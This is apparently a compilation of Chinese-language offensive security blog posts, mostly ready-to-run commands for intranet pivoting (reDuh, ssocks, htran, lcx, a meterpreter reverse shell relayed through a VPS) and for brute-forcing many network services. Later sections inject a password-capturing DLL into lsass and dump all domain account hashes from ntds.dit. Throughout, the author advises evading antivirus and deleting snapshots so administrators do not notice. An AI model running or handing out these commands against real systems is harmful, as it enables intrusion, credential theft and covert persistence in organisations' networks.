APT404-不作恶

在路上,一直在路上!

通向彼岸 之内网代理转发 [ Http隧道篇 Reduh ]



关于http隧道:
    其实,所谓的http隧道[更专业的叫法 “80端口复用”],你暂时可以把它简单形象的理解成基于web端脚本实现的一个socks代理功能,只不过这个代理不用在目标端再新开一个端口而是直接复用在已有的端口(通常是web服务端口,由相应的webshell实现)上:

reduh[老牌的http隧道工具,基于java,所以你需要事先装下jre]

0x01 首先,把代理端[即webshell]上传到目标的网站目录中,并尝试访问,返回正常后,在本地执行:

1
# java -jar reduhclient.jar http://目标域名/reduh.php

0x02 开始绑定端口,建立隧道

1
2
3
# telnet 127.0.0.1 1010
[createTunnel]要绑定到本地哪个端口上[8088]:127.0.0.1:要绑定远程机器上的哪个端口[3389,22]
[createTunnel]8088:127.0.0.1:3389

0x03 隧道建立成功后,即可使用 mstsc,putty 等工具连接到本地绑定的端口[此处是绑定到本地的8088],当你访问本地的8088就相当于访问目标机器的3389[你也可以换成22,以及你想代理的任何端口,前提是目标的这个端口必须先开了才行]

1
2
mstsc 127.0.0.1 8088
putty 127.0.0.1 8088

关于reduh:
    工具已经非常老了,应该是在很早之前,reduh的官网就已经发过相关声明,称reduh项目已经不再维护,现在已经被更好用的regerog所替代,不过,你要是实在没办法,还是可以尝试用下这个的,实际测试中,个人感觉reduh要比tunna还要好用一点,其实,所谓的好不好,跟目标实际环境和代码本身都有很大关系,这个也没必要非要分个好赖,适合自己的就是最好的,有兴趣可以仔细去详读一下工具代码


通向彼岸 之内网代理转发 [ Ssocks反向代理篇 ]



在不同平台下使用ssocks反向代理[linux内网中可能会用的比较多,当然,它一样也提供了相应的win版本]:

关于socks反向代理原理的简要说明:
    其实,socks反向代理的通信原理还是比较简单的,就是在控制端和目标端同时开放一个端口,作为两端机器之间通信的这么一个专属通道[有点儿类似管道],说的再形象一点,是这样,当控制端想访问目标内网中的其他的机器的某个端口,目标端就会帮忙把要访问的那个端口的数据拿过来,放到之前已经建立好的这条通道的端口上,然后,控制端直接到这个地方来取即可,有点儿类似中介,socket嘛,本来就是个管道

在linux中使用ssocks:
0x01 如果目标是linux机器,可能还需要你自己先编译安装下ssocks,步骤非常简单,如下,如果过程中有什么报错,仔细看下报的具体是什么错误,顺手解决下,如果是编译器或者依赖库的问题,按照相应的提示装上即可:

1
2
3
4
# tar -zxf ssocks-0.0.14.tar.gz
# cd ssocks-0.0.14
# ./configure && make && make install
# echo $?

0x02 先在本地机器上执行,一般都是你自己的vps,如果开了防火墙记得把该端口放开:

1
# rcsocks -l 1234 -p 1080 -vv

0x03 到目标机器上执行[自带台运行选项,实际渗透中可以把它加上]:

1
# rssocks -s  192.168.3.41(实际中可能是你vps的ip):1080 -vv

0x04 再回到自己本地通过各种socks代理工具,连到vps的socks代理的端口上,即可轻松访问目标内网中的资源

1
2
3
proxychains
proxifier
putty



0x05 从连接信息中我们看到了socks连接建立成功的提示,如下



在win中使用ssocks:

0x01 本地机器上执行,一般都是自己的vps,如果开了防火墙记得把该端口放开:

1
# rcsocks.exe -l 1234 -p 1080 -vv

0x02 到目标机器上执行[自带台运行选项,实际渗透中可以把它加上]:

1
# rssocks.exe -s  192.168.3.41(实际中可能是你vps的ip):1080 -vv

0x03 依然是回到自己本地通过各种socks代理工具,连到vps的socks代理的端口上,而后正常的访问目标内网资源即可




小结:
    这也是实际渗透过程个人比较推荐的内网代理方式,尤其当目标机器存在公网ip的时候,用这种方式进行内网渗透无疑是极好的,此工具基本是没有任何依赖,使用简单粗暴,相对来说也比较轻量,免杀就更不用说了[因为根本就不需要免杀],除此之外,还有很多其它优点,这里就不一一说了,大家自己多实践就会感受到了



通向彼岸 之内网代理转发 [ Htran篇 ]



htran 另一款要比lcx好用很多的端口转发及socks代理工具

1)首先,是最常规的端口转发功能:

0x01 首先,到vps上监听好指定的端口,意思是把本地的443端口流量转到本地的1234端口上

1
# htran -p -listen 443 1234

0x02 然后,回到目标机器上执行,意思就是把肉鸡的3389端口的流量转到vps的443端口上

1
# htran -p -slave 192.168.3.251[实际测试中应该是自己vps的ip] 443 192.168.32.134 3389

0x03 最后,再回到vps本地用指定的工具连接到最开始转出到的1234端口上,如下

1
2
mstsc: 127.0.0.1:1234
putty: 127.0.0.1 1234


2)其次,是相对比较实用的socks代理功能,让目标机器作为socks代理端,对目标内网进行渗透,不过这可能需要目标机器有个固定的公网ip,不然怎么练上去呢:

0x01 先在目标机器上安装并启动socks5服务

1
2
3
# HTran2.4.exe -install
# HTran2.4.exe -start
# htran -remove 不用时,卸掉即可

0x02 然后,回到自己的vps上先监听好等会要连回来的端口,这里的-s才表示的是启用socks代理,而-p单单只是进行口转发

1
# HTran2.4.exe -s -listen 1080 1234

0x03 上面都准备好以后,此时再回到目标机器上,开始和vps建立socks连接,如下

1
# HTran2.4.exe -s -connect 192.168.3.251[实际测试中应该是自己vps的ip] 1080

0x04 连接建立后,我们现在就可以回到我们自己本地的渗透系统中,安装好socskcap代理工具 [当然,你用别的socks客户端也一样],然后再工具设置中填写好vps的ip和socks代理的端口 [这里是1234这个端口],不过,要注意,如果你的vps开了防火墙,务必记得把这几个代理用到的端口都放开,要不然,数据是过不来的

0x05 最后,再把自己常用的一些内网渗透工具加到sockscap中,就可以对目标进行正常的内网渗透了,效果如下



关于htran:
    可能唯一的缺点还是需要免杀,工具也相对比较老了,2.4的源码应该早就放出来了,有兴趣可以down下来仔细分析下,个人觉得在实际测试中,它比lcx稍稳定一些,速度也还可以,确实是个很贴心的小工具



通向彼岸 之内网代理转发 [ Lcx篇 ]



linux,win 平台下都有相应的已经编译好的版本,后期我会把自己用的工具都打包提供给大家,原理想必大家早已经非常清楚,其实本来就非常简单,所以这里就不废话了,简单使用如下

0x01 把来自外部的某个端口上的流量转到本地的某个端口上

首先,在自己的vps上执行监听准备:

1
2
# lcx -listen 监听来自外部的某个端口上的流量 转发到指定的本地端口上
# lcx -listen 443 1234 把来自外部的443端口的流量转到本地的1234端口上

而后,回到目标机器上去执行:

1
2
3
# lcx -slave 公网vps的ip  在vps上监听的端口  目标机器的ip 目标机器上指定的端口[通常是远程桌面或者ssh]
# lcx -slave 103.*.*.* 443 192.168.3.23 3389 把目标机器的3389端口的流量转发到自己vps的443端口上
# lcx -slave 103.*.*.* 443 192.168.3.23 22 把目标机器的22端口的流量转发到自己vps的443端口上

最后,再回到自己的vps上,看到连接正常建立,就可以用指定工具连接到目标机器上了:

1
2
mstsc: 127.0.0.1:1234  连目标的远程桌面
putty: 127.0.0.1 1234 连目标的ssh

此时当你在本地访问 127.0.0.1 的1234端口其实就相当于访问目标机器的rdp[3389端口]或者ssh[22端口]

关于lcx在linux中的用法,大同小异,只是参数不同而已,如下:

先在自己的vps上执行

1
# ./lcx -m 2 -p1 443 -h2 192.168.3.41[实际中可能是你vps的地址] -p2 1234  首先,还是在自己的vps上执行监听

而后回到目标机器上执行

1
# ./lcx -m 3 -h1 192.168.3.40[目标机器的ip] -p1 22 -h2 192.168.3.41[vps的ip] -p2 443 到目标机器上执行,把目标机器的22端口转到vps的443端口上

最后,再回到自己的vps上执行

1
# ssh root@127.0.0.1 -p 1234 观察到连接正常建立后,在vps上连接本地的1234端口实际连的就是目标机器[192.168.3.40]的22端口,效果如下


0x02 把来自外部的某个端口上的流量转到指定的其它机器的某个端口上,典型应用场景,把来自公网的meterpreter直接通过vps转到本地的msf中,流程大致如下:

1
# lcx -tran 来自外部的端口 指定机器的ip 指定机器上的端口

1),先把本地的kali连到vpn内网中[我是直接用自己的vps搭的vpn],因为等会儿要走vpn内网做转发,所以必须先连到vpn内网中,这是第一个比较关键的地方

此时再回到vps上ping下kali所在的vpn内网ip,确认kali和vps之间通过vpn内网通信没有任何问题

2),然后,回到本地的kali中开始生成payload,注意这里payload回连的ip要写自己vps的公网ip

1
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=*.*.*.*[payload的回连ip要设成vps的] LPORT=8080 -f exe -o /root/Desktop/shell.exe

3),payload生成好以后,就可以开始监听了

1
2
3
4
5
msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.12.1(本机的vpn内网ip)
msf exploit(handler) > set lport 8080
msf exploit(handler) > exploit -j

4),第二个关键的地方,到vps上去做下转发,意思是把来自外部的8080[其实是我们自己的payload的回连端口]端口的流量通过vpn内网转到kali的8080端口上

1
# lcx -tran 8080 172.16.12.1 8080

5),最后,把payload丢到目标上去执行,meterpreter被正常从公网弹回,稍微留意下这里的上线ip就知道,很显然,是通过vpn的内网ip过来的



关于lcx:
    需要免杀,对于简单的内网还能凑活,对于现在的一些场景已经不能很好的适用了,个人在实际内网渗透过程中基本用的不多 [基本就是用来转下meterpreter和beef什么的],都是些简单辅助性的用途,工具也确实已经有些年头了,工具源码网上也到处都是,有兴趣可以仔细研读下[如果想自己过免杀的话],现在已经有很多更好的替代品,不过,这里还是感谢前辈们,在那个时代留给我们的财富


永不消失的 '0day' [ 弱口令 ]

0x01 hydra 选项用途简要说明

这里暂以linux平台使用为例,实际测试中也推荐大家在linux平台上自己编译,不然有些服务模块可能不太好使,虽然已经有编译好的win版本,但不太建议实际用,如果真没办法非要在win上跑,建议大家还是用7.x之前的版本吧,新版本中确实还有很多问题

1
2
3
4
5
6
7
8
9
10
11
12
-R	从上次未完成的爆破文件[hydra.restore]中读取爆破进度并接着上次的进度继续往后爆破
-S 爆破https时需要加上该选项
-s 如果要爆破的服务用的不是默认端口,可以用这个来手工指定服务端口号
-l/-L 指定用户名 / 指定用户名字典文件
-p/-P 指定密码 / 指定密码字典文件[字典务必要自己精心准备,别人的始终不适合自己的环境]
-e 尝试空密码[n]/尝试将用户名作为密码[s]/尝试将用户名和密码位置调换爆破[r]
-f/-F 当爆出第一个正确的密码后,就自动退出程序,-f表示单个'进程'退出,-F表示全局退出
-t 指定爆破进程,实际爆破中给8个左右即可,太高了容易报警,速度慢不怕,就怕动静儿太大,这里只是个参考,如果目标内网环境相对比较松,可以适当再放大一点,当然,肯定不能无限大,基于目标系统而定,大家酌情使用吧
-w 设定超时时长,默认32秒,一般情况10秒即可
-4/-6 4表示用ipv4,6表示用ipv6
-v 显示爆破信息
-M 把要爆破的目标都写到一个文件中,每行对应一个目标,支持域名,CIDR格式,或者单个ip的形式

0x02 在linux中编译安装hydra,此处暂以centos6.8 x64为例:

务必事先安装好所需的各种依赖库,因为hydra在破解各种服务的时候,可能会用到各类服务自己devel库中的一些函数,也就意味着你可能要装很多个库,因为它本身就支持很多服务的在线爆破,其实,就这一点来说,hydra本身做的事情并不算多,因为大多都要依赖别的库函数来实现,这样来看的话,hydra本质上只是把各种服务整合了一下

1
2
3
4
5
6
7
8
# tar -zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build/
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make && make install
# echo $?
# /sbin/ldconfig

0x03 安装 hydra 的各种依赖库

下面中的有一些库,有可能在你的环境中直接用yum装不上,没办法了,只能你自己稍微勤快点,去谷歌上找找,然后再单独手工把它装上,放心,肯定能找到解决办法的,如果中间有库装不上,可能在编译hydra时确实是可以编译成功,但等到后期实际爆破某些服务的时候就会出现各种问题

1
2
3
# yum groupinstall "Development Tools"
# yum install openssl-devel pcre-devel ncurses-devel ncurses postgresql-devel libssh-devel subversion-devel gcc cmake mysql-devel subversion-devel ncpfs-devel postgresql-devel libncurses-devel libidn-devel libpqxx-devel apr-devel apr-util-devel firebird-devel afpfs-ng-devel
# echo $?

0x04 编译安装hydra
可以看到就hydra 本身的编译安装过程倒是非常简单,你也可以用–prefix指定安装目录,走的时候方便顺手把整个安装目录干掉即可

1
2
3
4
# tar -zxf hydra-8.0.tar.gz
# cd hydra-8.0
# ./configure && make && make install
# hydra -h

0x05 针对各类服务的实例爆破演示:

爆破mssql [大多可能都是直接针对sa,想快速getshell,实际测试速度和精度都还不错]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 mssql://192.168.3.23

hydra brute force

爆破smb [速度还是比较快的,针对普通域内网的效果可能会好点]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 smb://192.168.3.23

hydra brute force

爆破rlogin [该服务用的可能已经不太多了]:

1
# hydra  -L user.txt -P pass.txt -f -v rlogin://192.168.3.161

hydra brute force

爆破mysql [可能主要也是针对root,如果目标有waf,可能就不太好使了,过多的数据库连接容易触发报警,如果目标是linux,爆破速度还是蛮快的]:

1
# hydra -l root -P pass.txt -f -v -t 20 mysql://192.168.3.13

hydra brute force

爆破postgresql [实际测试中,速度还是蛮快的咧]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 postgres://192.168.3.23

hydra brute force

爆破rdp [ 对于08以上的系统基本就是个废,在本地多次测试均未成功,不过对于03以下的机器目前暂时还是比较可行的]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 rdp://192.168.3.23

hydra brute force

爆破ssh [正常情况下的速度还可以,前面装libssh就是为了爆破它的]:

1
# hydra -l root -P pass.txt -f -v -t 20 ssh://192.168.3.160

hydra brute force

爆破smtp[需要带目标域名后缀,所有的邮箱破解类的实际测试中都不太稳定[怀疑是某些防护的原因],偶尔能跑出来,偶尔又跑不出来,不太建议实战中用]:

1
# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

hydra brute force

爆破pop3[不需要域名后缀,只需正确的账号密码即可,同样,很不稳定,有兴趣,可以拿常用公共邮箱测测精度,如:gmail,outlook,126,163,sina,qq…]:

1
# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

爆破ftp [还算靠谱,不过需要前期好好搜集下目标的用户名]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 ftp://192.168.3.23

hydra brute force

爆破telnet [靠谱]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 telnet://192.168.3.23

hydra brute force

爆破vnc [无须用户名,本地多次测试都未成功]:

1
# hydra  -P pass.txt -f -v -t 20 vnc://192.168.3.23

爆破snmp [暂时还好使]:

1
# hydra  -P pass.txt -f -v -t 20 snmp://192.168.3.160

hydra brute force

爆破svn [实际中多次测试均未跑出来]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 svn://192.168.3.13

爆破ldap2/3(同样跑不出来):

1
# hydra -L user.txt -P pass.txt -f -v -t 20 ldap2://192.168.3.161

爆破redis:


hydra 使用小结:
    支持的服务比较多,这里就不一一演示了,大家可根据实际情况针对性的用,就个人使用来讲,hydra精度真的很一般 [尤其是在爆破各类邮件服务时,比如,pop3,smtp[这个还好点儿] ,imap,时好时坏,极不稳定,原因暂未找],速度也极为一般,单单就稳定性来讲,不是很靠谱,不过这里仅供参考,建议大家还是根据自己的实际情况来,一面之词,不足为信,大家可以自己实际使用为准


0x05 使用 medusa

偶尔会断,原因暂未查,不过,如果是实际爆破,相对来讲,个人还是比较推荐这个,尤其当拿下的目标机器是linux时,虽然,它支持的服务可能并没有hydra那么多,但个人还是比较喜欢它 [稳定,精度较高],毕竟是帮忙搞了不少事情,不幸的是,它没有win版,作者说它自己用Cygwin始终都没编译成功,如果你编译成功了,请立马告诉他,他也许还会请你喝杯啤酒啥的,嘿嘿……

支持爆破的服务模块,在kali中的默认路径如下:

1
/usr/lib/medusa/modules

自己编译后的默认服务模块路径,默认如下

1
/usr/local/lib/medusa/modules

关于不同系统平台所要安装的一些依赖库,在工具官方站点中已有详细说明,链接如下,请自行查看

1
http://foofus.net/goons/jmk/medusa/medusa.html

编译安装medusa和hydra几乎没什么区别,非常简单[此处同样是以centos6.8 x64为例]:

1
2
3
4
5
6
7
8
# yum groupinstall "Development Tools"
# yum install openssl-devel libssh2-devel postgresql-devel subversion-devel freerdp-devel
# tar -zxf medusa-2.2.tar.gz
# cd medusa-2.2
# vi INSTALL
# ./configure && make && make install
# echo $?
# medusa -h

0x06 常用选项功能说明,跟hydra选项用法基本一致,看看命令帮助就知道了,这儿不再细说:

1
2
3
4
5
6
7
8
9
10
-h 	指定目标ip或者域名
-H 要爆破多个目标时,可以统一把他们先放到一个文件中,用该选项指定即可,每个目标对应单独的一行
-u/-U 指定用户名或者包含用户名的字典
-p/-P 指定单个密码或者包含密码的字典[务必精心准备]
-e n/s 跟hydra一样,尝试空密码,把用户名当密码尝试,
-M 指定要爆破的服务模块,比如是medusa支持的服务才可以,至于具体支持那些服务,看前面的模块目录即可知
-n 如果服务不是默认的端口,用该选项手工指定端口号
-s 启用ssl
-f 在爆出第一个密码之后就退出该程序
-v 显示爆破详情

0x07 下面是针对各类服务的一些实例爆破演示

爆破mssql [同样是只针对sa]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M mssql

mesua brute force

爆破mysql [针对root用户]:

1
# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M mysql

mesua brute force

爆破smb [倒是很麻利]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M smbnt

mesua brute force

爆破postgresql [速度非常快]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M postgres

mesua brute force

爆破rlogin [暂时还有些问题]:

1
# medusa -h 192.168.3.11 -U user.txt -P pass.txt -f -M rlogin

爆破rdp [速度还不错,兼容性也非常好,起码自己在跑 2012r2 机器的rdp都没什么问题,12r2以下的系统版本就更不用说了]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M rdp

mesua brute force

爆破ssh [速度一般,不过精度还可以]:

1
# medusa -h 192.168.3.11 -u root -P pass.txt -f -M ssh

mesua brute force

爆破telnet [还有问题]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M telnet

爆破ftp [实际测试中速度还是比较慢的]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M ftp

mesua brute force

爆破smtp [跟hydra一样,所有的邮箱服务爆破都有问题]:

1
# medusa -h target.org -u target_name@target.org -P pass.txt -f -M smtp

爆破imap:

1
# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M imap

爆破pop3:

1
# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M pop3

爆破snmp [有问题]:

1
# medusa -h 192.168.3.160  -P pass.txt -f -v -t 20 -M snmp

爆破svn [也有问题]:

1
# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M svn

爆破vnc [现在基本是没什么人用了,实际中遇到的也不太多,大多都换成了teamviewer]:

0x08 medusa使用小结:

1
相对稳定,精度较高,字典不易过大,控制在一万以内的高质字典即可,可能是程序本身或者目标防护的问题,有时候莫名其妙的异常,总体来讲,个人推荐



0x09 关于patator

基于py2.7 ,可定制度高,实际中你也可以选择用pywin32之类的东西把它打包成exe,某些服务模块貌似只能在linux中运行[也可能是由于我自己的系统原因吧],另外,其它的问题也非常多,极不建议在实战中使用,拿来作为样本学习还是可以的:

安装好第三方py库

1
2
3
4
5
# pip install pycrypto pyopenssl 加密库也经常报错
# pip install impacket 网络库一样经常报错
# pip install paramiko
# pip install IPy
# pip install dnspython

0x10 下面是实际爆破成功的一些服务

尝试爆破smb [速度还算可以]:

1
# python patator.py smb_login host=192.168.3.23 port=445 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

尝试爆破ftp [非常慢]:

1
# python patator.py ftp_login host=192.168.3.23 port=21 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

尝试爆破ssh [速度一般]:

1
# python patator.py ssh_login host=192.168.3.11 port=22 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

另外还要爆破各类post表单的,请大家自行尝试,这里不再细说

0x11 patator使用小结:
    用来跑一些比较简单的服务和post表单还行,其它的就算了吧[基本是不能用于实际的渗透场景的],另外,脚本自身还存在n多问题,除了上面这几个服务可以成功,别的基本都是不可用的,尤其是在跑一些加密服务的时候,各种错,而且依赖的插件太多[说实话,如果是在目标机器上,我都有装py库的权限了,为什么还非要用你呢,当然,如果直接是socks代理进去,就更不会用你了],从代码也大概能看的出来,作者似乎有些漫不经心,反正个人很少用,大家随意



0x12 如果是直接处在目标域内网中,直接用powershell来爆破,无疑是极好的,优点,免杀效果好,小巧,灵活,定制度高,win平台首选,缺点,速度稍慢:

爆破mssql [sa]:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}"

powershell brute force

爆破ftp:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service Ftp -Verbose}"

powershell brute force

爆破域内用户:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName rootkit.org -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}"

powershell brute force

0x13 使用 dbpwAudit [一款专门针对各类数据库的爆破工具一款专门针对各类数据库的爆破工具,优势在于利用驱动跑,速度非常快]

存放各类数据库驱动的默认目录:

1
/usr/share/dbpwaudit/lib

powershell brute force
powershell brute force

爆破mysql [暂只支持mysql 5.1以下]:

1
# dbpwaudit -s 192.168.3.23 -p 3306 -D Mysql -d mysql -U user.txt -P weak.txt

爆破mssql [暂只支持mssql 2005以下]

1
# dbpwaudit -s 192.168.3.23 -p 1433 -D Mssql -d master -U user.txt -P weak.txt

0x14 利用 burpsuite 爆破各类登陆表单

powershell brute force

0x15 基于perl的各种爆破小脚本,非常适合linux平台,抽空会补充上来:

一点小结:
    不得不说,这类的爆破攻击,势必要在目标的系统里面留下大量的登陆日志,而且得别人让你爆才行,实际测试可知,先不说专业的ids,如果目标部署了mcafee企业套装,只要勾选了”爆破攻击”规则,这些工具基本就废了一大半,但,不一定就不好用,在你山穷水尽,走投无路之时,任何手段都是可以被尝试的,另外,个人还是更推荐用一些单文件[对于一款渗透工具来讲,其依赖自然是越少越好,体积越小越好,对系统影响越轻越好,也许你会发现,各种py工具表面貌似很强大,但仔细深究,基本全都是在用别人的库不停的重复造轮子……嘿嘿,不说了,怕挨打]的小脚本[上面这些工具需要安装的东西确实有点儿多],如果有,拿来改吧改吧用即可,实在没有,想办法自己写也行,尽管这种招数确实很低级,但你可以把它做的不低级 [比如,你可以把大量的功夫下在字典上],而且很高效,成败归根结底在人,如果你手里实在没有像样的0day,那就别硬装那个逼,虚心慢慢搞就是了,反正我们的最终目标是拿到目标系统的最高权限,至于中间用什么手段没人会在意,说的天花乱坠,但最终还是没有搞进去,等于说了一堆废话,务必时刻清楚,我们不是在做学术讨论,任何攻击研究,如果没法很好的用于实战,都是空架子,但当你真正搞进去了,哪怕你是用自己猜密码绝技进去的,你一样可以把它说的非常高深,这就是现实,没办法,有时候百分之九十九等于0,有时候百分之一等于100,在你没搞到完整权限之前,多做少说,方成大器,最后关于如何做字典的注意事项[程序算法始终有限],会在后续的相关文章中,仔细说明,比较多,话说回来,可能百分之九十九的人,都会觉得爆破是很low的,嘿嘿……其实,我想说,如果你前期的信息搜集非常到位,爆破往往是最快,最直接,也是最致命的,顺便提醒大家一下,小心蜜罐


维持域管权限的一些简单办法[ Hook PasswordChangeNotify ]



可利用 Hook PasswordChangeNotify 的方式,无需重启系统,且能实时记录修改的密码,只要目标机器不重启一般都不会失效,具体方法很简单,首先,准备好 HookPasswordChange.dllInvoke-ReflectivePEInjection.ps1 [主要是用它来把我们事先准备好的 HookPasswordChange.dll 注入到 lsass 进程中,这里有点类似劫持的意思],实际渗透中,并不一定非要把它记录在目标系统的本地文件中[记录到的密码默认放在c:\windows\temp\passwords.txt文件中],你也可以尝试直接把记录到的账号发送到远程指定的邮箱中[有人已提供改进过的dll],自己去谷歌找找,应该可以找到,下面是在本地测试的实际效果:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}"

实际的效果如下



完整导出域内用户Hash小记 [Powershell离线提取域内所有账户hash]



1
利用 DSInternals PowerShell

本地测试环境:

1
win 2012r2

离线导出环境要求:

1
2
Windows PowerShell 3+
.NET Framework 4.5+

支持的系统:

1
2
3
4
5
Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit

先看下当前系统的powershell版本:

1
ps > Get-Host | Select-Object Version

放开pwoershell脚本执行限制:

1
Set-ExecutionPolicy Unrestricted


准备好ntds.dit和SYSTEM.hiv文件:

1
2
3
ntds.dit [可以利用shadowcopy.bat快速获取]
system.hiv [reg即可获取]
reg save hklm\system system.hive

安装,导入DSInternals模块:

1
2
3
cd DSInternals
powershell
Import-Module .\DSInternals

直接导出域内所有用户hash

1
2
$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -All -DBPath "C:\ntds.dit" -BootKey $key | Out-File hash.txt

也可只获取指定账户的详细信息

1
2
$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=klionsec,DC=org' -DBPath 'C:\ntds.dit' -BootKey $key



完整导出域内用户Hash小记 [Vshadow + ShadowCopy + QuarksPwDump]



利用vsshadow [ 微软的卷影拷贝工具 ],来复制出ntds.dit,从而导出域内所有用户hash,本地虽然没问题,但实际测试中有时候会不好使

第一步:将三个工具都传到目标机器的同一目录下

1
vshadow.exe + ShadowCopy.bat + QuarksPwDump.exe

shadowcopy.cat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%




第二步:然后以管理员权限运行ShadowCopy.bat脚本,之后提取的ntds.dit会被复制到当前目录,利用esentutl工具修复ntds.dit文件

1
esentutl /p /o ntds.dit


第三步:利用QuarksPwDump 读取修复后的ntds.dit文件,导出域内所有账户hash

1
2
reg save hklm\system system.hive 同样还是先导出syskey
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive -o c:\res.txt 一定要注意这里要给绝对路径,选项参数之间只能有一个空格



完整导出域内用户Hash小记 [ Ntdsutil + QuarksPwDump ]



自己在实际渗透中这种方法用的相对比较多[方便快捷],ntdsutil[ad数据库的命令行管理工具],利用它我们可以快速手工创建快照导出域内用户数据库),像这样的操作,实际渗透中还是不要交互的好,所以下面会全部都以非交互的方式来进行:

1
ntdsutil + QuarksPwDump

第一步:创建快照

1
ntdsutil snapshot "activate instance ntds" create quit quit

第二步:挂载刚才生成好的快照:

1
ntdsutil snapshot "mount {793a0923-1a83-428b-8860-535fb2b2866a}" quit quit


第三步:把导出的ntds数据库复制到指定位置

1
copy C:\$SNAP_201705211114_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit

第四步:删除快照,还是要注意千万别忘了,被管理发现始终不太好

1
ntdsutil snapshot "unmount {793a0923-1a83-428b-8860-535fb2b2866a}" "delete {793a0923-1a83-428b-8860-535fb2b2866a}" quit quit

第五步:开始利用QuarksPwDump提取账户hash

1
2
reg save hklm\system system.hiv  提取syskey,这里就直接放到当前目录下了,等会儿提取hash要用
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv -o c:\pass.txt


完整导出域内用户Hash小记 [vssown.vbs + Libesedb + NtdsXtract]



本地测试环境:
    域控 2008 r2 64bit

离线利用linux提取域内所有用户hash,实际测试可行,不过文件确实有点儿大,用于测试的系统域内用户只有十个左右,却已经打了12M[按这样算的话,一千个用户也就将近1G],如果用户量特别大的话,可想而知,不过好在信息非常全:

1
vssown.vbs + libesedb + NtdsXtract

查看vssown.vbs帮助:

1
cscript vssown.vbs


第一步,启动服务:

1
2
cscript vssown.vbs /start
cscript vssown.vbs /status


第二步,创建快照:

1
2
cscript vssown.vbs /create C
cscript vssown.vbs /list


第三步,把SYSTEM和ntds.dit文件都复制回本地,如果比较多,下回本地确实有点儿麻烦:

1
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .


第四步,删除快照,这非常重要,千万不要忘了,不然被管理员看到就不太好了:

1
cscript vssown.vbs /delete *


1
cscript vssown.vbs /stop


第五步,在本地编译安装好libesedb 和 NTDSXtract,这里我把它俩都放到同级目录中了:

1
2
3
4
# ./configure
# make
# cd esedbtools/
# ./esedbexport ./ntds.dit 这里我已经把ntds.dit复制到当前目录下了


1
2
3
4
# mv ntds.dit.export/ ../../
# cd ../../
# cd NTDSXtract\ 1.0/
# python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM' 这里的SYSTEM文件最好给绝对路径